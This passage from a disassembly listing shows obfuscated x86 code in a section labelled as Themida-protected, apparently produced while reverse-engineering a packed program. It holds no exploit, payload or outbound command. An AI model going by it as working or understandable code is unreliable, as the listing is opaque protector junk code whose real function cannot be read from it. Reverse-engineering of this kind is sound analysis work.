		mov	ebx, 4F6C6E21h
		push	edi
		jmp	loc_59E580
; ---------------------------------------------------------------------------


loc_59D218:				; CODE XREF: Themida_:loc_59BCEBj
		jmp	loc_5A28A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_59D21D:				; CODE XREF: sub_59F2C8-51E4j
		mov	bh, dl
		pop	edx
		mov	ax, word ptr [esp+4+var_4]
		add	esp, 2
		jmp	loc_59E11D
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59D22C:				; CODE XREF: sub_59CA4A+2C07j
		push	ecx
		mov	ecx, 6A0504EDh
		shl	ecx, 3
		sub	ecx, 50282764h
		jmp	loc_5AE3FF
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59D240:				; CODE XREF: sub_5A8C33+BA4j
		sub	eax, 0BE531294h
		jmp	loc_5A2186
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_59D24A	proc near		; CODE XREF: sub_59D99C+96F9j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4
arg_2		= dword	ptr  6
arg_6		= dword	ptr  0Ah

; FUNCTION CHUNK AT 00599B9B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AFBA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059B752 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059BEC9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BF45 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D006 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F7EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0EBE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A1F4D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A27C9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2AB5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4BF5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A4C1B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6463 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A850A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A8F47 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A9569 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9AC9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AA03C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005ABFE9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AC5D6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ADC19 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005AE6E7 SIZE 00000011 BYTES

		sub	esp, 4
		jmp	loc_5A4BF5
sub_59D24A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_59D255:				; CODE XREF: sub_5ADE3B-BFCAj
		mov	dh, ah
		pop	eax
		jmp	loc_5AE76B
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACB72


loc_59D25D:				; CODE XREF: sub_5ACB72-7C59j
		add	esp, 4
		mov	ecx, eax
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	8E5h
		jmp	loc_5AA5F4
; END OF FUNCTION CHUNK	FOR sub_5ACB72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_59D27B:				; CODE XREF: sub_5A8899+Bj
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	edx
		push	ebp
		jmp	loc_5A0E89
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_59D292:				; CODE XREF: sub_5A41D6+AE10j
		sub	al, 24h
		push	ebx
		mov	bh, al
		mov	cl, bh
		jmp	loc_5A7537
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------


loc_59D29E:				; CODE XREF: Themida_:005ADE83j
		mov	bh, dl
		not	bh
		mov	dl, bh
		pop	bx
		jmp	loc_59B5AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59D2AB:				; CODE XREF: sub_5986D6+106C5j
		mov	al, cl
		pop	ecx
		jmp	loc_59EA30
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_59D2B3:				; CODE XREF: sub_5A36E3+Cj
		add	ebp, 67847A9Fh
		jmp	loc_5A511C
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_59D2BE:				; CODE XREF: sub_5ADDF8+E1Dj
		pop	eax
		and	edi, 56237029h
		push	eax
		mov	eax, 6D8B4BD2h
		or	edi, eax
		pop	eax
		jmp	loc_59E723
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B76


loc_59D2D3:				; CODE XREF: sub_5A9B76-FA6j
		mov	edi, 3F284559h
		add	edi, 6DC1A222h
		mov	ebx, edi
		jmp	loc_59C094
; END OF FUNCTION CHUNK	FOR sub_5A9B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_59D2E5:				; CODE XREF: sub_5AB3DC-9BC5j
		inc	[esp-8+arg_4]
		jmp	loc_5AD727
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59D2ED:				; CODE XREF: sub_59FFBE+5643j
		shr	edx, 6
		and	edx, 69CC2B84h
		dec	edx
		shr	edx, 8
		add	edx, 3C1533A1h
		sub	eax, edx
		jmp	loc_5A3FEB
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_59D307:				; CODE XREF: sub_5A141E-885j
		mov	bp, 6AD4h
		add	bx, bp
		pop	bp
		sub	bx, ax
		sub	esp, 2
		mov	word ptr [esp+0Eh+var_10+2], bp
		jmp	loc_5AC588
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E35B


loc_59D322:				; CODE XREF: sub_59E35B-37C9j
		add	ebx, edx
		push	edx
		mov	edx, 57197125h
		jmp	sub_5AB72D
; END OF FUNCTION CHUNK	FOR sub_59E35B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_59D32F:				; CODE XREF: sub_598D67+B114j
		push	3E91h
		jmp	loc_5A25BB
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59D339:				; CODE XREF: sub_5A600F-682j
		xor	ch, dh
		pop	edx
		add	al, ch
		mov	ecx, [esp+0]
		jmp	loc_5A8991
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_59D346:				; CODE XREF: Themida_:005AC143j
		pop	ebx
		neg	ebp
		shr	ebp, 2
		add	ebp, 196B32D4h
		and	ecx, ebp
		pop	ebp
		jmp	loc_5AB3A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59D35A:				; CODE XREF: sub_59CA4A+E0BFj
		mov	ebp, [esp-4+arg_0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_5A0499
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59D373:				; CODE XREF: sub_5A8D43-10060j
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], edx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	ah, 0A8h
		push	ecx
		mov	cl, ah
		mov	dh, cl
		pop	ecx
		mov	eax, [esp+8+var_8]
		add	esp, 4
		neg	dh
		jmp	loc_5AEBDB
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_59D39E:				; CODE XREF: sub_5AB3DC+3D6j
		pop	eax
		add	edi, edx
		push	[esp-0Ch+arg_8]
		pop	edx
		push	esi
		jmp	loc_5A040B
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_59D3AB:				; CODE XREF: sub_59EB21+D692j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_5AAF81
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59D3C0:				; CODE XREF: sub_5A91EC-B43Cj
		or	ecx, edx
		pop	edx
		push	edi
		mov	edi, 1E7F44FBh
		xor	ecx, edi
		pop	edi
		jmp	loc_59FD30
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59D3D1:				; CODE XREF: sub_5A8D43+12j
					; Themida_:005ACBB9j
		pop	esp
		mov	[esp+0], eax
		jmp	loc_59DB9E
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59D3DA:				; CODE XREF: Themida_:005A0392j
		sub	edx, 46124C2Ah
		mov	ebx, edx
		pop	edx
		shl	ebx, 7
		xor	ebx, 1F06C884h
		jmp	loc_5ACAAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59D3F1:				; CODE XREF: sub_598D16+3397j
		mov	eax, ebx
		pop	ebx
		jmp	loc_59E48E
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A799C


loc_59D3F9:				; CODE XREF: sub_5A799C-64DCj
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_59CF35
; END OF FUNCTION CHUNK	FOR sub_5A799C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A03D


loc_59D404:				; CODE XREF: sub_59A03D+12746j
		pop	ebp
		sub	ecx, eax
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_59AD94
; END OF FUNCTION CHUNK	FOR sub_59A03D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_59D41E:				; CODE XREF: sub_59AE49+8Ej
		mov	[esp+0Ch+var_C], esi
		mov	esi, 145E39A3h
		mov	ecx, 145E39BFh
		jmp	loc_5A3AB6
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59D430:				; CODE XREF: sub_5986D6+B311j
		xor	al, 9Ch
		mov	bl, al
		pop	eax
		xor	dl, bl
		pop	ebx
		push	73CAh
		mov	[esp+8+var_8], eax
		push	ebx
		mov	bh, dl
		jmp	loc_5AB0BA
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_59D448:				; CODE XREF: sub_597C68+666j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	sub_5A0F44
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6F21


loc_59D460:				; CODE XREF: sub_5A6F21+6j
		xor	edx, ebp
		pop	ebp
		jmp	loc_59EB0E
; END OF FUNCTION CHUNK	FOR sub_5A6F21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_59D468:				; CODE XREF: sub_5A41D6-C51Fj
		pop	edi
		push	edi
		push	4
		jmp	loc_5A856C
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59D474:				; CODE XREF: sub_5ABE52+12j
		add	esp, 4
		xchg	eax, ecx
		push	eax
		not	[esp+4+var_4]
		pop	eax
		xchg	eax, ecx
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		xor	eax, esi
		jmp	loc_59D8A5
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB0CE


loc_59D491:				; CODE XREF: sub_5AB0CE+1Ej
		pop	esi
		push	edi
		mov	edi, 22765C87h
		sub	eax, edi
		pop	edi
		push	edi
		jmp	loc_5AE133
; END OF FUNCTION CHUNK	FOR sub_5AB0CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59D4A1:				; CODE XREF: sub_5A8C33-EAA3j
		add	eax, ebp
		pop	ebp
		jmp	loc_5985F9
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_59D4A9:				; CODE XREF: sub_5A1340-67D0j
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 57CB417Ch
		inc	eax
		shr	eax, 8
		sub	eax, 0B9E3D05h
		inc	eax
		add	eax, 0B4671C7h
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		mov	dh, bh
		pop	ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	al, 0E9h
		or	al, 29h
		xor	al, 2Fh
		add	dh, 28h
		sub	dh, 0EFh
		add	dh, al
		add	dh, 0EFh
		sub	dh, 28h
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		mov	ch, dh
		jmp	loc_5A0F7A
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A80D3


loc_59D4FB:				; CODE XREF: sub_5A80D3-5D52j
		add	ebx, 0EE2ECFFDh
		jmp	sub_5A04C2
; END OF FUNCTION CHUNK	FOR sub_5A80D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59D506:				; CODE XREF: sub_5ACD64-2F34j
		mov	edx, 28A93279h
		xor	edx, 27135014h
		jmp	loc_5A9205
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_59D516:				; CODE XREF: sub_5A95E0-B0CFj
		dec	eax
		not	eax
		inc	eax
		xor	eax, 0CC1D8FA9h
		add	edx, eax
		pop	eax
		jmp	loc_598325
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------


loc_59D527:				; CODE XREF: Themida_:005AA93Dj
		mov	[esp], esi
		push	6AD5h
		jmp	loc_59B4AF
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59D53C:				; CODE XREF: sub_5AC95F-6F33j
		add	esi, 4083EF5Ah
		xor	ebx, esi
		pop	esi
		push	esi
		jmp	loc_5A0D38
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59D54B:				; CODE XREF: Themida_:005A0B32j
		add	ecx, eax
		jmp	loc_598730
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_59D552:				; CODE XREF: sub_5A9228+19j
		mov	[esp-4+arg_0], ebx
		pop	eax
		mov	ebx, [esp+0]
		add	esp, 4
		not	eax
		sub	eax, 7C02505Dh
		add	ebx, 0ABC2212h
		jmp	loc_59A195
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59D56E:				; CODE XREF: sub_59FFBE-A5Bj
		push	2842h
		mov	[esp+0], edx
		mov	edx, 0FF82416Eh
		jmp	loc_5A46AB
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59D580:				; CODE XREF: sub_5A7343+2221j
		jnp	loc_5AB999
		shr	esi, 6
		jmp	loc_59A7F7
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE24


loc_59D58E:				; CODE XREF: sub_59EE24+8576j
		jmp	loc_5A10CD
; END OF FUNCTION CHUNK	FOR sub_59EE24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1ED0


loc_59D593:				; CODE XREF: sub_5A1ED0+6C41j
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		push	esi
		jmp	loc_5AA6C8
; END OF FUNCTION CHUNK	FOR sub_5A1ED0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59D59F:				; CODE XREF: sub_5986D6+93C3j
		sub	ebx, eax
		pop	eax
		add	esi, 21D94439h
		add	esi, ebx
		push	4DCFh
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5AA942
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------


loc_59D5B7:				; CODE XREF: Themida_:005A1BB1j
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, 4
		push	ebx
		jmp	loc_5A7328
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59D5C7:				; CODE XREF: sub_5A7343+6670j
		neg	esi
		jns	loc_5AAA87
		not	esi
		xor	esi, 32530A2Dh
		jmp	loc_5A9944
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_59D5DC:				; CODE XREF: sub_5A1076+3BFCj
		push	ecx
		push	esi
		mov	esi, 59BC2561h
		mov	ecx, esi
		pop	esi
		push	ebx
		push	2D4Fh
		mov	[esp+0], eax
		mov	eax, 54A566D6h
		mov	ebx, 0AB5A9929h
		add	ebx, eax
		pop	eax
		push	edi
		jmp	loc_59D1DC
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_59D602:				; CODE XREF: sub_5A0F44+493j
		sub	ebp, ebx
		sub	ebp, 1E027126h
		pop	ebx
		jmp	loc_5AA741
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDCC


loc_59D610:				; CODE XREF: sub_5ADDCC-19AAj
		pop	eax
		add	[esp-4+arg_0], 4C553F9h
		add	[esp-4+arg_0], eax
		jmp	loc_5983D0
; END OF FUNCTION CHUNK	FOR sub_5ADDCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59D620:				; CODE XREF: sub_59FFBE-79D3j
		push	esi
		push	edi
		push	esi
		push	eax
		mov	eax, 63A6422Eh
		mov	esi, eax
		jmp	loc_5A2B8C
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_59D630:				; CODE XREF: sub_5A91CF-3C60j
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp-4+arg_0], ebx
		pop	eax
		push	6680h
		mov	[esp-4+arg_0], edi
		push	ebp
		push	ecx
		mov	ecx, 639667E9h
		push	edi
		push	eax
		mov	eax, 490C01E6h
		jmp	loc_5ABAC0
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59D658:				; CODE XREF: sub_5A8C33-4B09j
					; sub_5AC95F-8251j
		shl	eax, 7
		shr	eax, 7
		jmp	loc_5A4CA4
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_59D663	proc near		; CODE XREF: sub_5A8302+1A7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005996CF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A73B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059E0F0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059FD0A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0CA5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3D3A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AB8CC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AE337 SIZE 00000017 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, esp
		jmp	loc_59FD0A
sub_59D663	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_59D670:				; CODE XREF: sub_59BD3A+11DB3j
		push	edi
		jmp	loc_59A9F3
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_59D676:				; CODE XREF: sub_5AA46D-A642j
		mov	eax, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5A6E80
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59D691:				; CODE XREF: sub_59D99C+ED4Aj
		sub	edi, ebx
		pop	ebx
		and	ecx, edi
		jmp	loc_59E166
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59D69B:				; CODE XREF: Themida_:005A6B0Bj
		inc	eax
		shl	eax, 5
		xor	eax, 8765FFE4h
		add	ebp, eax
		jmp	loc_59E6F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_59D6AB:				; CODE XREF: sub_597C68+25j
		add	ebx, ebp
		add	ebx, 218F5363h
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		jmp	loc_59D81A
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D5B


loc_59D6C1:				; CODE XREF: sub_599D5B+BCA5j
		pop	esp
		push	734Eh
		mov	[esp+4+var_4], edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		btr	[esp-4+arg_0], ax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_599D5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59D6E3:				; CODE XREF: sub_5A141E+270Dj
					; sub_599059+F55Cj
		xchg	esi, [esp-6+arg_0+2]
		pop	esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		push	ebp
		jmp	loc_59B65A
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_59D6F7:				; CODE XREF: sub_5A3B73-2736j
		push	[esp+arg_0]
		pop	edx
		pop	dword ptr [esp+0]
		pop	esp
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		jmp	loc_598B35
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------


loc_59D70B:				; CODE XREF: Themida_:00599AB2j
		xchg	edi, [esp]
		pop	esp
		sub	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_59D729:				; CODE XREF: sub_5A728F-CE01j
		pop	ecx
		add	esp, 4
		push	ecx
		push	69C6h
		mov	[esp+4+var_4], edx
		jmp	loc_59F3AA
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_59D73B:				; CODE XREF: sub_5A1076-5j
		mov	edi, 0
		sub	edi, edx
		mov	edx, edi
		jmp	loc_5A7D44
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59D749:				; CODE XREF: sub_5AB98B-113D8j
		mov	[esp+0], eax
		push	ecx
		mov	ch, 0C1h
		jmp	loc_5A0311
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59D754:				; CODE XREF: sub_59D99C+9033j
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	edx, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		jmp	loc_5A0C0C
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BF6A


loc_59D770:				; CODE XREF: sub_59BF6A+10j
		add	ebx, 0A6C3F684h
		jmp	loc_59C6CD
; END OF FUNCTION CHUNK	FOR sub_59BF6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59D77B:				; CODE XREF: sub_59D99C+FA23j
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E35B


loc_59D78A:				; CODE XREF: sub_59E35B-33F9j
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_59AB8C
; END OF FUNCTION CHUNK	FOR sub_59E35B
; ---------------------------------------------------------------------------


loc_59D798:				; CODE XREF: Themida_:loc_5AA409j
		add	ebx, 1EDB27D8h
		jl	loc_5A721E
		push	edx
		mov	edx, 384260F7h
		jmp	loc_5A8A80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59D7AF:				; CODE XREF: sub_5AC95F-AF9Ej
		mov	eax, 68B41D88h
		jmp	loc_59C79D
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59D7B9:				; CODE XREF: Themida_:005AEB3Aj
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59D7C2:				; CODE XREF: sub_59A932+5A9Dj
		pop	ebp
		pop	dword ptr [edx+38h]
		sub	dword ptr [edx+38h], 6F953BCAh
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		jmp	loc_5A872C
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_59D7DC:				; CODE XREF: sub_59B48F+6BF1j
		add	ecx, 3031BBCh
		jmp	loc_59C19E
; END OF FUNCTION CHUNK	FOR sub_59B48F

; =============== S U B	R O U T	I N E =======================================



sub_59D7E7	proc near		; CODE XREF: sub_5A41D6-5625j
					; sub_5A1B2A+47D6j

var_6		= dword	ptr -6
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_E		= word ptr  12h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00598B3F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005997AB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005999E4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00599CDC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00599E86 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059A298 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059A3C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A7E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C59D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C760 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C8C1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D931 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E24A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059E6BA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A014B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A14E8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A15ED SIZE 00000017 BYTES
